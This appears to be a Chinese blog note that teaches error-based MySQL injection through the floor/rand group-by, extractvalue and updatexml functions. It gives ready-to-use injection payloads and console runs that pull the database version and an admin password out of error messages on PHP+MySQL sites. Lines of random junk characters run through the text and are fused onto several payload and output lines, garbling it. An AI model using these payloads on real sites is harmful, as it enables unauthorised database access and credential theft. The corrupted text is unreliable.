关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
. z+ U& G; E8 c) Z* E4 i实际测试环境：
​
, I7 t, f7 g+ P6 d* a
mysql> show tables;
) J  \6 U6 r  I+----------------+
0 Q5 f8 Q3 T: P4 \| Tables_in_test |
! \7 |0 s9 O; M  D8 }# ~8 v+----------------+
| admin          |
| article        |
+----------------+
- ~& V; k9 x, C! y& D) e


# f1 }  R) L: C& a; q5 r" N; E0 m! t6 pmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
/ P5 F% Q2 s4 V! o# C" c| Field | Type             | Null | Key | Default | Extra          |
, p* Q6 N0 A0 r* b+ C5 j* C4 N7 Y+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
  L+ X- f  F/ ]! q) ~3 ]6 E| pass  | varchar(50)      | NO   |     | NULL    |                |
: z; a) ^& I3 V. ^+-------+------------------+------+-----+---------+----------------+
0 [0 |1 Y% X( H$ _( P. z# ]2 v3 W
9 C9 e, C0 g: N( l
# f4 |: w4 j2 P& [
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
& y* S/ ?: L$ U& u2 d| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
6 d5 N+ A2 _  @: T# _4 ]  E" a| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
' v  M- s6 C* @% \/ l  ]! ?+ a& ^2 p| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
" U/ D/ p" }* s# Z! z, \! v1 B1、通过floor报错
可以通过如下一些利用代码
6 k( l- b. _  n& t5 o" j6 }

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
7 X0 B, K% v# {4 `3 E

# u7 z; a' k6 Z( {, Eand (select count(*) from (select 1 union select null union select !1)x
7 S) ~/ g% \- Qgroup by concat((select table_name from information_schema.tables limit 1),
! r4 t% s4 S: Bfloor(rand(0)*2)));
举例如下：
( I' R8 e  G, j2 W& x首先进行正常查询：
, M: a& h) O3 z  y; J" I3 B
0 ?$ T2 h5 T7 Q% a* a3 z/ Fmysql> select * from article where id = 1;
4 Q3 Y' i4 C# b4 G9 C) `+----+-------+---------+
| id | title | content |
, }. p( M1 m, r1 {) x4 p+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
: k; A: L  Y. z/ X- l, a! w(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
, }' X) Y% Q  _3 |3 L可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
0 e" w3 V, k. X- K& y
& S! w, I$ [8 D/ @& O2 {6 @% m- P
9 H) L3 D6 v* A( u7 zmysql> select * from article where id = 1 and (select 1 from
3 u* B+ }" B4 \4 I; J0 n/ x- b(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
+ z9 q! ~# C* v) n$ ]7 ffrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
$ M0 ?! Y; i/ }6 t  b* V; o
- t* F+ d$ x- R3 b7 j- S7 K
4 u- U% b9 z/ z0 d9 S. E# vmysql> select * from article where id = 1 and (select count(*)
  K: w( a' R& n  i- A+ bfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% k; n. w6 `3 t$ I2、ExtractValue
9 l1 c5 z/ ?4 Z0 }' \测试语句如下


( F/ c$ y' F+ e0 l: Sand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
% W1 X7 D5 v' r- Z( V实际测试过程


* z% p1 b" `: X' f5 ]; kmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
1 \, L* _' x  j# w2 d7 A(select pass from admin limit 1)));--
1 X' U% O( D# r) s  T# sERROR 1105 (HY000): XPATH syntax error: '\admin888'
6 G: G: W! K) v3、UpdateXml
测试语句
  v: ?! J7 Y' k5 p3 @& K

# ~' p8 o& g4 H9 R1 j4 vand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
: [) S, j# H# s, ]
5 L) B3 M  i7 q9 o
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
; C7 B  E7 y4 ^7 A) g+ NAll, thanks foreign guys.

​